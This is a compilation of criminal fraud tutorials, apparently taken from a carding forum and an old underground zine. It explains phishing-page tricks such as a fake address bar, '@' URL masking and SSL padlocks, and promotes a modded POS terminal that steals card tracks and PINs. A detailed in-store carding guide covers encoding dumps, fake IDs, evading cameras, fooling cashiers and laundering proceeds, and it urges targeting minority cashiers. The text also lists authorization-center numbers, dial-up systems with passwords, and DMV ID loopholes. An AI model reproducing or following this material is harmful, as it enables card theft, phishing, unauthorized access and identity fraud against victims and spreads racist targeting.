Here are a few methods to make your scam page look even more authentic, I have not tried these but here is some information from those that have..

Fake Address bar -

You create an activex floating white window the size of the address bar and place the x/y values of it where the normal address bar would be. Works perfect, however if they're not in full screen mode ur FUCKED.

Example - http://www.doxdesk.com/personal/post...3-ie/bank.html

Also depending on resolution the effect varies.

Fake URL -

You can mask the URL of your host by using this old (but still working) technique

http://<realurl>%00%01@<fakeurl>/

So

http://www.e-gold.com.@www.paypal.com/

Magic!!

It takes you to the paypal site but shows www.e-gold.com in the address bar...

Fake SSL certificate -

To get the lock at the bottom right of your screen on your scam page you will need to use a host that gives you the certificate as part of the package, the user who is viewing the scam page will have to click yes on the alert box that comes up and the padlock will be shown, this is good for sites like e-gold which tell the user to check for the padlock before logging in.

http://www.apache-ssl.org is a good site to get you started with a host with ssl cert.

PART TWO ON SPAMMING WILL BE COMPLETED SOON.

Dump + PIN from POS

The best POS (Point Of Sale System) to use to get dump (track 1 and 2) and PIN on. For all carders who work or have connections with people who work in Bars, Cabs, Delivery service.
When the customer uses their card and punches in the PIN this POS stores the PIN. And HEY! you get the dump + PIN.
So from now Dump + PIN is not only a myth.

Below is the details and model numbers vx670 - read up some more and hopefully before the end of Novemeber 2011, I will have some for intretsed and professional members.

1.vx670 - wireless

2.vx670 - wired

Descriptions:

This machine can Store track 1/2 along with pin are stored and time stamped.It got options to say approved, communication error, declined, unknown error and INSUFF funds.

This POS Machine can process both debit and credit cards, machine will never communicate with the real bank server,machine is not physically tampered, just software was modded .It cannot process real transactions, it will fake the actual transactions,gives you receipt and stores t1&2+pin,which you can download later on your pc.

Available Options:

[-]Machine can process both Debit and Credit cards.
[-]Can say approved, communication error, declined, unknown error and INSUFF funds.
[-]You can add TIP to the sale options.
[-]You can limit the machine not to process more than X number of transactions.
[-]Can customize the Merchant receipt and customer receipt on your own
[-]Data is 3DES encrypted, only with a valid key can able to decrypted it (ON/OFF feature available)
[-]All the passwords,approval codes,MID,TID all can be changed from settings menu
[-]All currency's are accepted on pos.
[-]All pos's will come with necessary cables for a success functionning.

Dumps Tutorial: #1

Everything you wanted to know about instore carding

Introduction:

So youre interested in trying out instore carding? Instore carding is one of the fastest ways to get money. But you will need to keep your head on straight for this. As you should with every operation you go out to do. This tutorial will tell you the ins and outs of instore carding. Feel free to
distrobute this as much as you want.

For the beginners:

Youre obviously reading this because you either A. Want to learn how to instore card or B. Want to see if you can find anything you are not aware of. For people who chose A. You should have atleast some prior knowledge of credit cards before you try instoring. If you do not that is ok too, just keep reading the tutorial and by the end of it you should be fine. The most important thing about instore carding is how you *Take the part* of the identity youre *Playinig* as. If youre going into a store looking to come out with $3-5k worth of electronics dressed in your normal apparel and being nervous, think again. You need to dress up and act like a person who would look like they could buy these items any day of the week. The first time youre going to be nervous ofcourse, its natural to be nervous the first few times. But with time and past experiences to look back on, it just gets easier as you go on.

Dressing the part:

This should come natural to most people out there. To buy something expensive you need to make it look like you can buy these items along with acting like you can (below). For your first operation i suggest should include you going into any of the clothing stores listed below and buy a decent amount of quality clothes. I cannot stress enough how quality plays a part in dressing up. Buying a sweater in walmart and a sweater in banana republic could determine the difference between getting out with your goods or running out of the store. Along with clothing you might want to buy some jewelry or a very high priced watch. If a cashier suspects something is up, seeing some classy jewelry or a watch could also help reduce the suspicion.

Clothing stores are usually never uptight with purchases of clothing so that is why I suggest going there first to get some quality clothes. You can be dressed as you want in there and it wont matter. When you buy the new clothes, put them on in a restroom and then continue your activities on a higher priced basis.

Acting the part:

This area will come hard for some but easier for others. Prepare yourself before you go in with things you might say. If youre going into a store to
buy smaller items ($800 and below) , this usually not hard to accomplish. But for larger items you should act as if you can afford these items at any time of day. Acting stuck up in a sense can accomplish this. Other than that, dressing the part is the other area that helps you present yourself as a person of wealth.

Beginning:

Before you go out there and start instoring you will need the following items.

Card reader/writer - Youre going to have to (in most cases) need a card reader/writer to write new dumps on your cards. Especially if you want to re encode your cards and go out. The only case where you would not need this is if you were buying plastic from a vendor who offers to encode the dumps for you. For a reader/writer I highly recommend the MSR-206. It is the most popular encoder out there. You can buy them from

Price: $200 $640

Computer/Laptop (Preferred) - To be able to encode your dumps (later on) you will first need a computer to hook your card encoder up to. Using a desktop is fine but if you come into any problems with your dumps which is going to happen, you will have no way to re encode your plastic. You will have to drive home and re encode there. But if you have a laptop, you can bring your MSR with you and just hook it up and re encode while youre in your car. Doing this will save you gas, and time.

Price: $600 to $2400

Power Inverter - This is a very handy tool that youre going to need for this and you will probably find yourself using for all other types of things.

The MSR requires a power source so buy or card one of these. If your laptop battery gets low aswell which will sometimes happen just hook it up aswell. I found a very good one at BestBuy for $80. It covers up to 800 watts (400 watts each plug).
Price: $80

Plastic - I have seen all sorts of ways to obtain plastic. From stealing others and using those to buying them from a vendor. You DO NOT want to steal anyones credit cards and start using those. And you do not want to re encode your own credit cards. Im sure it makes sense to do so but over time if you start using your own credit card, the credit card companys are going to see the name being used and will surely contact you about these occurances. The best bet is to buy plastic from a vendor. Think about this too. When buying plastic, get atleast 2 cards with the same name as your novelty. It will save money on new novelties and give you a higher chance of walking out with your merchandise.

Dumps - The most important item of this whole operation. What would you do without dumps? Nothing thats what. I highly recommend snifferhack or linx101 for dumps. They supply the best quality on dumps. I have over 7-12 different dump vendor friends and I still stay strong with these 2. Now depending on what youre planning on getting out for your first op will determine on how much you will need to spend on dumps. I would not worry about spending for now. As soon as your op is over you will see that you have well made your money back from this.

Wallet - Some people may think that putting the plastic and novelty in your own wallet is not a bad idea. But the truth is that it is probably one of the biggest problems that could arise if anything was to happen. Keeping your false information and your real information seperate is a necessity. If you have any sort of personal contact information on you when carding I would suggest dropping it off in your car.

Optional Items -

Fake ID - HIGHLY RECOMMENDED but is not always needed. Most of the time for large purchases cashiers will ask for an identification that matches the plastic. There are numerous vendors out there who provide a novelty service that will fit your needs. Getting a state that is semi close to you is ideal in this situation.

Anonymous Phone - This is optional to have, I have used Chrome's dumps the most and he checks the dumps before sending so that all are valid. His dumps work 8/10 times on average. So if one card does not work I simply hand them another card with an excuse as to why that card was not working. When using a phone merchant there are two ways of authorizing a card. Some people think that charging a $1 or $1.50 on the card will not kill the card as many businesses use a $1 or $1.50 charge as a pre-authorization to check and see if the card is valid. Others prefer charging a random higher amount to make it look like a legit purchase. Either way, its up to you how would want to check it.

Serial to USB Converter - Smaller laptops may not come with a serial port to connect your encoder to. If this is the case you will need to buy one of these.

Price: $15-$25

Newskin Bandaid Liquid - You might be asking yourself "What would I do with this?". Well, if you really want to be protective you can put some newskin on your finger tips so no traces of fingerprints will appear on the plastic if any misfortune was to happen.

Planning:

Planning out what youre going to buy before you buy it would be a nice thing to do. It saves you time thinking of what you need or might need.

Also think about this. If youre main goal is to get a hefty sum of money, you should checkout ebay to see what sells for a high percentage. Usually gift cards to popular stores get high amounts back because they are just like cash. But just double check ebay.

If youre going to do an instore op for your own personal pleasure then you really dont need to make a list because you should already know what you want to get. Or you can look around in the store and choose what you want.

Taking care of business:

Before hand I always like going to the bathroom. It makes the carding situation a bit more easier if you get nervous. You do not want to get caught and be remembered as the kid who shit his pants. That is if you do get caught which odds are you wont if you follow these instructions.

Destination Safety:

Choosing a location to instore is not very hard. The internet has a vast amount of websites that have store locators. So find your subject mall or store and do a search to see whats around you. Here is a very important rule to follow by. Do not do anything where you live. Or in a more common way of putting it. Dont shit where you live. Find a store thats atleast a good half hour drive away from you and is atleast two cities over.

Some people choose to use fake license plates when entering your destination for carding just to add that extra level of security on in case a camera catches the car that drives away. This is ofcourse optional, but it doesnt hurt to put more safety on. Just dont speed away or anything that could get you pulled over.

Parking - When parking your car, make sure you park for out so no camera will catch your license plate. It will be worth the extra walk when youre walking out with your merchandise.

So now you have everything you need to get started. Youre prepared for the best and the worst situations to come.
The first time you go out you should expect some nervousness to come even before entering one of the stores listed below. The most important thing to do is to stay calm and act natural. The more suspicious you act, the more the cashier is going to suspect something is up. I do not recommend taking any drug or alcohol to calm yourself down. You need to look calm and natural while being alert to your atmosphere at the same time.

Anatomy of a dump:

B4111111111111111111^LASTNAME/FIRSTNAME^060910100 000000000000000000
4111111111111111111=06091010000000000000000000000

B - Identifies to the POS system that your card is a bank card

4111111111111111 - Credit Card Number

Lastname - Lastname of cardholder

/ - Seperater

Firstname - Firstname of cardholder

06 - Experation Year

09 - Experation Month

101 & Beyond - Bank data

Now some vendors will only sell the second track. So that leaves you with trying to figure out how to write track1. Most stores do not check track1 so it is not the most important thing. But to be safe I always include track1. Here is an example of what you will need to do. It is very easy.

4111111111111111=060910100000000000000

If you havent noticed, track2 in most cases is just like track1. To begin making track1, add a B that will indeicate its a Bank card.

B4111111111111111=060910100000000000000

Then, youre going to want to change the = to a
^lastname/firstname^ .

B4111111111111111^LASTNAME/FIRSTNAME^0609101000000 00000000

And finally, youre going to add six zeros at the end of the dump.

B4111111111111111^LASTNAME/FIRSTNAME^0609101000000 00000000000000

And thats your dump. Like I said its not hard to create track1 from only having track2. If you soley buy from BadB (soon ccoming back Smile) and linx,Script,Ryden or sniffer you will not have to do this.

Software to encode the dumps - I recommend TheJerms software. It is very self explanatory.

Types of dumps:

People ask me all the time about using generated dumps and if theyre good. I would not use generated dumps. Most of the time they will only work correctly with a certain Bin. And there is a 15% less success rate than using other types of dumps. You might as well use quality dumps in your locations you choose so people will not remember you instead of having errors come up and your face gets noticed more easily.

The best quality dump you will probably find are skimmed dumps. Skimmed dumps mean that the actual card was swiped onto a portable Mag Stripe reader. Therefore, using these you know you will have all of the correct information for track1 and track2.

Hacked dumps are usually taken from databases by you guessed it, hackers. The quality on these are the normal quality thats out there.

Dump types and limits:

I will only discuss so far visa, discover dump limits and a word on amex dumps as I have not encounted any use with mastercard dumps.

Visa Classic - These types of dumps are usually the cheapest to buy from a vendor. I have heard that on average you can get $500 on these types of dumps. But I have been pulled atleast $800 on them. Visa classics have a balance limit of $500 to $3,500. Although the most I have been able to get off of a single classic is $2,600 before an error occurs.

Visa Gold - One step above the classic, These limits start at $3,500 and can double as the cardholder gains good credit. With these you can make higher amounts of purchases.

Visa Platinum - Visa platinum dumps are for the larger purchases mainly. On a good day you can pull off anywhere from $3,000 to $6,000 .

Visa Signature & Business - Signatues are said to have no limits. So for us that means these have the highest limits available. People have said to have gotten anywhere from $5,000 to $20,000 off of these types of dumps.

Discover - I have not used these that much in my past but from what I gathered you can get anywhere from $1,000 to $5,000 on these in one purchase. Using these dumps for multiple purchases will most likely kill the dump before you get past either of those limits. Almost all discover cards begin with a balance of $10,000.

Amex - I have not used these dumps. The reason to that is that you need the correct CVN to complete the transaction. It is not embossed, but printed onto the plastic. So you cannot re encode amex dumps. If the

CVN is not correct when entered, you will automatically get a call for authorization.

How long dumps last:

This question no one can answer. You might be able to make a good prediction of how long they will last if you think of time and the dump type. For instance. If you have a classic dump, its 11:30 AM and you make a variety of small (Under $20) purchases. Odds are youre going to get that card to last a lot longer than a classic dump thats doing $300 purchases at 7:30 PM. Think of the cardholders work hours. They will usually be 9 AM to 5 PM. That is when their card is idle so to speak.

Choosing your cashier:

This is probably one of the more fun things to do while instoring. Usually 90% of the time, Minorities and Younger Girls make the best choice for cashing out. Minorities include, Blacks, Mexicans, and Asians if you were wonderings. The reason you want to choose these types for your cashiers are because they are usually the easiest to manipulate. In some cases you are going to have to use a normal person to cashout. But try not to make it a habit.

Interactions with the cashier:

In order to safely get your items out of the store successfully, you will need to know how to interact with the cashier. To in a sense manipulate them. When you bring your stuff up to the cashier act normal. If it is a large amount they might say something nice to you mentioning the amount of merchandise you are buying. Just play with it and make them feel good aswell. If you make the cashier not feel comfortable they will think something is up if any error happens. Which will sometimes if you are planning on doing a lot of instore.

Errors and Excuses:

As I was saying above, there are going to be errors now and then. Now most are very easy to talk your way out of. But in some cases youre going to need to know when you try and grab your novelty and card and just run. That will most likely not happen if youre only doing this a few times but for people who are planning to do this more often it is most likely going to happen atleast once. I have listed below a few common errors and how to handle them.

Optional Pre-Excuse - LWAI brought this excuse method to a lot of peoples attention and it is a very good idea in most cases. Making the cashier already think that the transaction will not go through so they are not surprised by the error, which makes handling the situation much easier. Saying something as easy as *I hope I have enough to cover this* or anything around those terms is good.

Declined - Once you spend and spend on a good dump there has to be an ending point. Usually with dumps that will not die this is the final step to completing it. Hopefully you will have another card on you to hand the cashier. If you don't thats fine too.

If you have another card - Oh, I thought that was going to happen. Here try my other card. If you do not have another card - I will be right back. I'm going to go get my check book / go to the ATM.

Call For Authorization - This one can be tricky if you do not have the right cashier. This is something you DO NOT want the cashier to do. A call for authorization is basically the store calling the bank or the stores authorization center in order to confirm that it is the actual cardholder making the purchase. If this happens just stay calm.

If you have another card - I don't have that much time, Ill call the bank later. Try my other card. If you do not have another card - I don't have that much time for this Ill call my bank and come back tomorrow.

If they persist on making the call, put your hand out as if they were going to give you your plastic back. Doing this tends to put some stress on the cashier as to whether or not give the card back to you. They usually will put the card back in your hands.

Do Not Honor - This will happen every now and then and is probably the easiest to overcome. The cashiers will sometimes just ask you if you have another card.

If you have another card - Hand them the card and say you'll call the bank about that one. If you do not have another card - Oh, I will call my bank about that tomorrow (then leave)

Those are the most common problems you are going to find. Of course there are more error codes. There are about 50 of them. But by the time you manage to talk yourself out of these you will have enough experience to talk yourself out of the rest.

Selling your items:

There are a vast amount of ways for you to liquidate your items. The best way to do so is on ebay. I am not going to go into a large description because then this tutorial would change to how to sell your items or scam on ebay. You can either buy an account from a vendor or get a B&M bank account and create your own. I do not suggest using your own ebay account. A lot of people have in the past and even if a good amount havent been caught, you do not want to be that small percent that does.

Here is another area that can be done in a lot of ways. I will tell you to not put the money in your legit bank account. If you were thinking that, you should take a minute and think again. You could store your money on an electronic bank account service such as egold, or webmoney. Or if you want more control over your money, you could keep it all in a well hidden safe. Using an electronic bank account instead has a higher security rate. As if anything was to happen to you involving LE, odds are they will not find your information for that account. Which means they would not have access to your funds because they would not know it exists.

End Notes:

Thank you for taking your time to read this tutorial. I hope it was worth your time! I also hope that everyone who is inspired by this reply with any words or questions they would like to say. Good luck to all of you!

Merchant Codes:

Quote:00 Approved
01 Refer to Card Issuer
02 Refer to Card Issuer, special condition
03 Invalid Merchant
04 Pick up card
05 Do not honor
06 Error
07 Pick up card, special condition
08 Honor with identification
09 Request in progress
10 Approval for partial amount
11 Approved VIP
12 Invalid Transaction
13 Invalid Amount
14 Invalid card number
19 Re-enter transaction
21 No action taken

30 Format Error
41 Lost card Pick up
43 Stolen card Pick up
51 Not sufficient funds
52 No checking account
53 No savings account
54 Expired card
55 Pin incorrect
57 Transaction not allowed for cardholder
58 Transaction not allowed for merchant
61 Exceeds withdrawal amount limit
62 Restricted card
63 Security violation
65 Activity count limit exceeded
75 Pin tries exceeded
76 Unable to locate previous
77 Inconsistent with original
78 No account
80 Invalid transaction date
81 Cryptographic PIN error
84 Pre-authorization time to great
86 Cannot verify PIN
89 MAC error
91 Issuer unavailable
92 Invalid receiving institution id
93 Transaction violates law
94 Duplicate transaction
96 System malfunction

Dumps Tutorial :#2

INTRODUCTION:

C=The *use* of our credit system for personal gain & financial freedom!
H=The practice of accessing *secure* computers with innovative techniques/skill.
I=Assuming or establishing a *new* guise by "creating" an identity on paper.
P=The know-how and interest in the telecom industry and the services it provides

Hi-?!
Issue two already! I just finised #-01 about a week ago, and already I feel
I have enough text & information of interest to warrant a quick follow-up to
#-01! ....so here it is, #-02! I hope #-01 has provided those who have read it,
something to think about and/or "work on". If not, well then perhaps this one
will. If not, then perhaps a monastery or convent would be a better place for
the likes of you!!

II.> PART 2-
\|/
?[>*C*H*I*P*=>!

C - CARDING> /|\

Intro:

Below are as many BIN's as I could round up. Each one is listed according to the Banks ID No. (BIN) - which are the first 6 nos. of a CC. (Credit Card). Of course, the first no. indicates a Visa (4) or a Mastercard (5). Bin's aren't all that important to know, but can be if you NEED to know the name of a bank that issued the CC no. you have.

So FYI and bemusement, here's that information-

BANK IDENTIFICATION NUMBERS:
^^^^ ^^^^^^^^^^^^^^ ^^^^^^^

~~VISA BINs~~
^^^^ ^^^^

4000-4999

401903 = Bank of America
402400 = Bank of America
402402 = Bank of America (Gold)
403200 = Household Bank
4040?? = Connecticut National Bk
4040?? = Wells Fargo
4050xx = 1st Interstate
4052?? = First Cincinnati Bank
405209 = First Nationwide Bank
4060?? = Navy Federal Credit Union
407000 = Security Pacific Ntl. Bank
407129 = Colonial National Bank

411427 = Chemical Bank
412174 = Signet Bank/Virginia
412185 = Citibank/Signet?
41235? = Commerce Bank
4128xx = Citibank
416818 = Great Western Bank
4131?? = State Street Bank
4170?? = Beneficial National
417129 = Colonial Bank
4188?? = Ohio Savings & Loan

4211?? = Chemical Bank
4215?? = Marine Midland
422591 = Chase Manhattan
4226xx = Chase Manhattan
4231?? = Chase Lincoln 1st Classic
4232?? = Chase Lincoln 1st Classic
4237?? = Cicero Credit
4241?? = Natl. Westminester Bank
425043 = First Chicago Bank
425330 = Bank of N.Y./Consumer Edge
425451 = Chemical Bank
4262xx = Corestates Bank of DE
427138 = Citibank

4302?? = HouseHold Bank
431068 = Bank-Layfayette/Imprl Svg's
4312?? = Barnette Credit
431301 = Valley Federal S&L
431663 = Glendale Savings & Loan
431772 = Gold Dome
4321?? = Mellon Bank
433213 = Bank of Indiana
433222 = Far West Virginia
4349?? = First Bank of America
436800 = Sovran Bank/VA
438733 = Bank One
438760 = More Bank

440121 = Gary Wheaton
440862 = Charleston of Indiana
441712 = Mellon Bank
442813 = Bank of Hoven
442843 = " " " "
44288? = Colonial National Bank
443600 = Security Bank of Monroe
4448?? = First National Bank - RI

46165x = First Interstate Bank
4626?? = Indiana National Bank
4646?? = Mercantile
4672?? = Mercantile Bank
467362 = First National Bank;
467807 = Home Fed Svg's/1st Card
467808 = Home Fed Svg's/1st Card
468120 = Harris Trust Savings
4696?? = Credit of Kansas

4718?? = Colorado Bank
4734?? = Madison Bank

480012 = Valley Federal S&L
4811?? = Bank of Hawaii
4825?? = First Wisconsin
4897?? = Village Bank of Cinn., OH _____
/ Here are \
4929?? = Barclay Bank/DE | what the |
^ | holograms |
| | SHOULD show!|
| _____ _____/
BIN = #### ## (1st 6 nos.) Y
| |
| _____|_____
| [|]
^ | MASTERCARD INTERNATIONAL___v____ |
| | [v+===*] |
/--<+-->| 5555 1234 5678 9012 [| I|] |
	^^^^ ^^] Q I	]
+==>	6512 11-91 TO 11-92 [/	\ I	]
		^^^^ [_/^_ I=]
		JUSTIN CASE MD [_____]

| | | |
| | [_____]
| |
| *-==>IBN* = #### (above cardholder's name)
| |
| |
A>|M/C's |
==v===== v
1st- X IBN.
X #### Bank/Institution Name
^^^^^^ ^ ^^^^ ^^^^ ^^^^^^^^^^^ ^^^^

5000-5399
=========
5031?? = #? -Maryland Bank MBNA

5127?? = 1015 -?

520400 = 1006 -Security Pac Ntl Bk
521142 = 6142?-Chemical Bank
521531 = 6207 -Marine Midland
521795 = 1033?-Manufacturers Trust
5218?? = #? -Citibank N.A.
523080 = #? -Harris Trust Svgs
5233?? = 1226 -Huntington Bank
524200 = 6066 -Chevy Chase F.S.B.
5250?? = 1260 -?
525400 = #? -Bank of America-ca
525402 = #? -Bank of America-pa
5263?? = 1263 -Chemical Bank
5272?? = #? -Connecticut Ntl
5273?? =p #? -Bank of America
527706 = #? -FIB
52820? = #? -Wells Fargo
5286?? = #? -Chase Lincoln 1st
5286?? = 1286 -Home Fed Savings
528707 = #? -Valley National Bank
529107 = 1001 -Signet Bank/VA
529801 = #? -Bank One

5317?? = #? -Norwest Financial
5323?? = #? -Bank of New York
532903 = 6017 -Maryland Bank; MBNA
532956 = 6017 -Maryland Bank; MBNA
539655 = 7462 -Universal Bank/AT&T
539855 = 7462 -Universal Bank/AT&T

5400-5999
=========
540126 = 6017 -Valley Federal S&L
540193 = 8084 -Fidelity Investors Bk
541037 = 6037 -Wells Fargo NA
541065 = 6785 -Citibank NA
541085 = 6785 -Citibank NA
541116 = #? -1st Financial/Omaha
541169 = 1169 -1st Financial/Omaha
5412?? = 6037 -?

5414?? = #? -Ntl. Westminster Bank
5415?? = #? -Colonial National Bk
541586 = 1586 -HouseHold Bank
541711 = 1711 -?
541919 = #? -FIB
541933 = 1933 -Bank of Hoven
541934 = #? -Berthoud Ntl Bk
542096 = #? -Colonial Bank
542143 = 2143 -?
54224x = 1049 -MHT
542418 = 1065 -Citibank
5432xx = #? -Bank of New York
5455?? = #? -PSFS
5464?? = 1665 -Chase Manhattan
546598 = " " -Chase Manhattan

5601?? = 1352 -FIB
5678?? = 1207 -Marine Midland

591210 = 6282 -Wells Fargo

xx= All nos. in series are that bank's.
??= Unsure of full IBN/BIN no.

B> - Authorization Centers - ("AC")

Intro: Authorization Centers are located throughout the country and are in just about every financial institution that is involved in the distribution and/or issuance of credit cards. Of course, Visa and M/C have some as well.

Citibank, First Interstate Bank and Bank of America all have their own AC's available to their merchants. There are however many other AC's that provide the same types of services to their merchants. It is the merchant who is 'really' providing the services though. It is the merchants responsibility in most cases to determine that a credit card is valid. On top of that they are also even offered a whole $50 if they assist in the conviction of anyone suspected of using a stolen/forged card. $50!! Hardly worth it, so most don't even try....

One of the quickest ways a card is checked is by accessing an AC through a card reader. Verifone is perhaps the largest mfg. of these devices, which are used by most retail stores or restaurants for CC verifications.

The telephone no. that is called using one of these card readers is the first one in which I've listed below. You can also log onto this "carrier" via a a modem, but I've yet to figure out what the necessary input is to utilize this service on my computer. A touch tone phone suffices however, and the required input is listed below for using this particular AC (Authorization Center).

One other thing to note here is that whenever you are at a store/merchant and using a shady (at best) card, be especially alert to the merchant and/or cashier when they are getting verification of the transaction. If they use the telephone and voice in the request for the authorization, then listen for "Code-10", and if you hear them say this at any time- GET THE HECK OUT!!

If they use a card reader for the transaction and get something like "CALL

CENTER" on the read out, then remain calm and ask what the problem is, and if at anytime they are out of sight or on the phone with the center for any prolonged amount of time, then again- GET OUT OF THERE!!

A "code-10" is a merchant's signal to an authorization center that they are suspicious of the card user. If you are using an AMEX, then run out of there twice as fast, because AMEX calls the police from their authorization center. V/MC don't usually call the police, but AMEX will use stall tactics while the police are on the way. (One way is to ask to speak with you and then ask you some rather lengthy detailed questions, like primary cardholders name, SSN & Mother's Maiden). You can always just look out the window and exclaim, "Hey! someone's stealing/towing my car!" and then leave pronto!....

** Use the following telephone nos. before going into ANY store to use a card. They are worth the extra minute or so to be sure that the card is still valid!

1>.
800/228-1111 = On-Line Auth. Center (300baud)/Touchtone Ok too.
Merchant No.#Card No.#Exp.Date#Amt# **push the "#" after each entry**
(Merch No.=A 16 digit-#; 1st no. is 4 or 5 & can often be found on carbons just above the merchants name.)

2>.
800/228-2211 = This is the voice authorization number of the same group who operate the one above. I am fairly sure that these two are operated by M/C and Visa, and I do know that the merchant nos. that work on one, also work on the other. This AC, is also useful for obtaining a BIN no., and/or the issuing bank of a particular credit card. Just ask the verification op. for merchant services and she will connect you to their information dept.

3>.
800/554-2265 = Bankcard Auth. Ctr.
For MasterCard: 1067#52#10#CardNo#Exp#$$$$#
For Visa: 1067#24#20#CardNo#Exp#$$$$#

4>.
800/528-2121 = American Express Auth. Ctr. (Amex only)
Live ops! - Give: (**Merch#+card#+expdate+amt) **=5041035528
Merch. No. is for: Popolos Ristorante; 8115 Melrose LA,Ca. 90069

5>.
800/327-3584 Authorization Center for Visa & M/C
***** Merchant No. format is: 101 ### ###; #= unknown no.

6>.
800/645-9120 Merchant Service Center for Citibank; NA
****** Merchant No. format is: ### ### ### ### (the one I had is no longer

[=-=]
Glossary of terms used in the preceding text file.

- Authorization Center <AC> = Voice and/or Data terminal which gives merchants varying "approval codes" on purchase requests. Some also provide info such as BIN No. and Bank Name of a particular card.

- Bank Identification Number <BIN> = Issuing bank's identifier. This number is

assigned by the FDIC, I think. The No. can be found on Visa's (unraised) just above the CC number. Some larger banks will have several BIN's, because they own several smaller financial institutions that issue credit.
Choice Visa is one example. They are owned by Citibank, but have there own seperate BIN. Another example is First Card, which handles Home Fed Savings credit accounts.

- International Bank Number <IBN> = Bank Identifier on a national level. The number is used by various merchants to verify/approve a cardholder when they have placed a telephone or mailorder request. It is the 4 digit no. just above the persons name, and is only found on M/C's (raised, 'usually' starts with a 1,6,7 or Cool & on Amex cards (unraised, usually starting with a 6). Though not an absolute, experience has shown that IBN's starting with 6,7 or an 8, are usually preferred accounts. IBN's that begin with a 1 or 2 are usually found on classic accounts. (see list above)

- CV = Classic Account; -these two letters can be found on most Visa cards that are "Classic Accounts". They usually have a credit limit of some-where between $500 to $5000+, though some can go up to $10,000 for long term customers.

- PV = Preferred Acct. or "Gold Card"; -usually limits of 5,000-10,000+. These cards are 'usually' found on Gold or 'preferred Visa Cards, and are worth their weight in 'gold' as well.... Some can go up to $40,000 or more!!

++Any additional articles or noteworthy texts to be submitted for inclusion in the future issues of *CHIP*, should include a handle &/or method of contact for the author. Though not required, this will help in verifying the info & assure a timely publish date.

Our method of contact is simple. Call 800-755-3493, press 9657 before end of greeting and give us some idea of what you know or have access to and we will consider your request. The only other method we feel safe with is via a typed letter sent to: *JC/CA* 15445 Ventura Blvd. #128; Sherman Oaks, CA 91403. We need more up to date H/P info since this is not our best subject and since there are many others more knowledgable in this field than we are... So let us know! ...Otherwise we may change *CHIP* to CIA! & become Anarchist!... then again, it's probably too late for that, since we do as we want anywayz..-JC/CA>.

III.> PART 3:
\|/
?[>*C*H*I*P*=>!
/|\
H - HACKING>

Intro:

Hacking Numbers & Carriers! These may also be added to the EXTENDER.DAT files of most Hacking/Phreak programs, when reliable carrier no(s) are needed.

* Telephone No=	Pwd &/or Locale	* Telephone No=	Pwd &/or Locale
206-863-0015=	?	800-325-1171=	?
206-863-3963=	?	800-325-1340=	?

206-863-3700= ? 800-325-1341= ?
206-863-0426= ? 800-325-1342= ?
206-863-1150= ? 800-325-1436= ?
206-863-1183= ? 800-325-1401= ?
208-772-6134= ? 800-325-1471= ?
619-723-8996= ? 800-621-3224= ?
919-323-9888= ? 800-621-3592= ?
214-263-3109= ? 800-621-3678= ?
206-825-7206= ? 800-621-3679= ?
206-825-7598= ? 800-228-1111= ?M/Card-Visa
206-825-7621= ? 800-334-4000= ?Message system
206-825-7781= ? 212-370-4303= Cosmos NY
206-825-6132= Try ctrl-x for prompt 313-855-0203= CosmosMI:ONNERR
206-825-7905= ? 213-892-7211= Compuserve
206-825-9000= Montgomery Ward 213-355-5241= Electronic News
206-833-5329= Wont connect properly 800-555-8677= Ma Bell
206-825-6234= Oil Company 800-424-9440= Bank
206-931-4879= Auburn High 213-932-8294= Secret Service
206-872-4690= Kent High 405-332-9998= Belle Co-puter
414-476-8010= Milwaukee High 713-241-6421= Shell Oil
206-771-6551= Tacoma School.P/w=VAXE 713-526-0149= Hospital
206-825-7720= Compuserve 913-343-1042= Calling card
312-499-2100= Sears 502-588-6020= Uof Louisville
617-683-2119= Hospital 502-588-6036= " " "
800-424-9494= Telenet 213-417-8997= TWA
800-421-2123= ? 800-828-6321= IBM Computer
800-558-0001= AGRODATA 206-828-3598= Microsoft
206-357-7350= Ctrl-data-publishing 800-526-3174= RCA Mainframe
414-354-0010= T.Y.M.E. Corp. 312-937-1210= ?
202-553-0229= PENTAGON 206-833-6352= ?
202-697-0814= PENTAGON 206-833-6364= ?
304-376-2488= Savings & Loan 202-553-0229= T.A.C
313-964-2018= Charge card Association N/A-950-1288= AT&T Info Service
206-833-6133= ? 206-833-6134= ? *P/w For Milwaukee High GNIK, Code:4,71
800-522-5465= Lab Link **P/w For Ma Bell 948DJU47R
202-694-0004 User Id= Cohen

==========

ABC East Coast feed 213 935-1111

Try this # 206-825-2377, hit return a couple of times and you'll get ENTER
PASSWORD then hit ControL 'U' a few times then hit return. you in
simple.. Or try mashing keys until it says 'ART GAMBLIN - CHEVROLET'...

III.> PART 4-
\|/
?[>*C*H*I*P*=>!
/|\
I - IDENTITIES

Intro:

DMVRULES.TXT

What the DMV would rather you DIDN'T know:
<from the Standard Operating Procedures - SOP of the DMV/CA.> 10-01-90

13.301a:
"...If the applicant is unable to provide a signature within the margin, the application should nevertheless be accepted, and there is NO need to prepare another application..."

13.301b:
..."Usual signature" means the signature the applicant uses when signing letters, "checks", etc. It need not correspond exactly to the full name as shown at the top of the application or photo document & and in fact, seldom will. If the signature includes a nickname not shown in the full name, or if it differs a lot from the full name, the employee should indicate "usual signature" in the space at the top of application.

13.301c: ***important***
If the applicant's, "usual signature" is "printed", it should be ACCEPTED on the application.

13.307: Birth Date Verification

Any Driver license showing birth date is acceptable in lieu of a birth certificate (bc). If the bc is unobtainable, certain other documents may be accepted in lieu of the bc. The acceptability of other documents should "NOT BE DESCRIBED TO THE APPLICANT" until it is reasonably ascertained that their birth record is unobtainable.

The following ARE accepted forms of identification as listed in the DMV Employees Driver License Tech. Manual:
<<< in order of preference.... their preference, of course! >>>

1>. Birth Certificate or any "certified Birth Record/Registration".
2>. Driver License, from CA. or an ID card issued by the State of CA.
3>. All other state Drivers licenses, Id cards, to include Military too
4>. Any foreign governments D/L and/or ID. Must have DOB listed on it.
5>. Passports, Visas, immigration/alien docs or reg. cards. w/ DOB.
6>. Dept. of Corrections or Youth Authority docs, signed by PA/CS/CAS.
7>. Driver Education driving permits & training certificates, w/ DOB's.
8>. Out of State ID cards -NOT necessarily issued by the state's DMV.
9>. US Census Records. Auth. by 13007.5 VC; ** contact Census Bureau **
10>. School Cerification (form dl-48); used ONLY when all other forms of Proof of ID have been exausted; *contact any local school to get rcrds*. This is also an accepted form of ID for SSA (Social Security Administration).

** Note:
Tax forms are not accepted with any degree of certainty by the DMV. It's always best to use what they see "thousands of time a day", since these docs are usually less scrutinized.

